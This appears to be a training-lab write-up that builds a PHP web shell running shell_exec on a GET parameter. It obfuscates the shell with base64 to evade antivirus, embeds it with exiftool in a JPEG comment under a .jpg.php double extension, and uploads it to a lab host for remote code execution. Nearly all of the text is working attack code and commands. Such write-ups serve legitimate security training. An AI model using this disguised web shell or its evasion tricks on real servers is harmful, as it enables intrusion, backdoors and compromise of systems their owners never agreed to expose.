01. PHP Payload Obfuscation
Here I build the PHP payload to inject into the "image" file, then obfuscate it to help it slip past AV.
The Payload
<?php
$cmd = $_GET["wreath"];
if(isset($cmd)){
echo "<pre>" . shell_exec($cmd) . "</pre>";
}
die();
?>
I'm avoiding the one-liner <?php system($_GET["cmd"]);?> to dodge detection as best as possible. Different is better in this scenario, and once the code is obfuscated it becomes a one-liner anyway.
Obfuscate the Code
The obfuscation is done with https://www.gaijin.at/en/tools/php-obfuscator.
Obfuscated PHP code:
<?php $o0=$_GET[base64_decode('d3JlYXRo')];if(isset($o0)){echo base64_decode('PHByZT4=').shell_exec($o0).base64_decode('PC9wcmU+');}die();?>
This needs a slight modification so the $ signs don't get registered as a bash variable:
<?php \$o0=\$_GET[base64_decode('d3JlYXRo')];if(isset(\$o0)){echo base64_decode('PHByZT4=').shell_exec(\$o0).base64_decode('PC9wcmU+');}die();?>
Deploy the Payload
Embed the payload in the image metadata:
exiftool -Comment="<?php \$o0=\$_GET[base64_decode('d3JlYXRo')];if(isset(\$o0)){echo base64_decode('PHByZT4=').shell_exec(\$o0).base64_decode('PC9wcmU+');}die();?>" shell-reapZ.jpg.php
Upload the file and go to http://10.200.105.100/resources/uploads/shell-reapZ.jpg.php.
If all went as planned, the output should look like this:
Which means RCE: